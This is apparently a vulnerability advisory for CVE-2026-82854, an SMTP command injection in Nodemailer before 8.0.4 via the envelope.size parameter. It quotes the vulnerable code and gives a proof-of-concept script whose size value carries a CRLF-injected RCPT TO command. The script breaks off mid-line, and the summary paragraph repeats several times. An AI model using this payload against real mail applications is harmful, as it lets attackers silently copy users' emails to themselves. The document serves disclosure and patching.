CVE-2026-82854

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

• Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
• DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: '[email protected]',
        to: '[email protected]',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: '[email protected]',
            to: ['[email protected]'],
            size: '100\r\nRCPT TO:<[email protected]>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<[email protected]>…

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.